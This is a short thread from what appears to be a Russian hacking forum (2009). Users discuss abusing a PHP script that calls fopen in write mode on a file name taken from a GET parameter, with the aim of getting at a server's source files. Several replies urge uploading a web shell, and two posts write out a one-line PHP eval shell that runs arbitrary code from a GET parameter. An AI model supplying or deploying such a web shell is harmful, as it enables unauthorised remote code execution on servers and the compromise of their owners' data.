PDA

Просмотр полной версии : Что можно сделать при помощи fopen ?


kadukmm
22.12.2009, 00:06
Вообщем есть сервер, на нём скрипт типа
<?php
$file=fopen($_GET['file'], "w") or die ("error");
fclose($file);
?>

Что можно сделать кроме как создания новых и затирания существующих файлов? Конкретно интересует просмотр исходников других скриптов=)

Ty3uK
22.12.2009, 00:38
ну а что ты с пустым файлом хочешь сделать? залей шелл...

kadukmm
22.12.2009, 17:00
я не могу залить шел =( скрипт типа этого уже просто есть на сервере ;) если бы я заливал, я бы залил что-то типа:

<?php
eval(stripslashes($_GET['php']));
?>

Tigger
22.12.2009, 17:24
Залей этот шел, но только php не в ковычках, т.е. так:

<?php
eval(stripslashes($_GET[php]));
?>

Vlad&slav
25.12.2009, 01:13
Почему не в кавычках ? Мы делаем так: ?рhp=тело _скрипра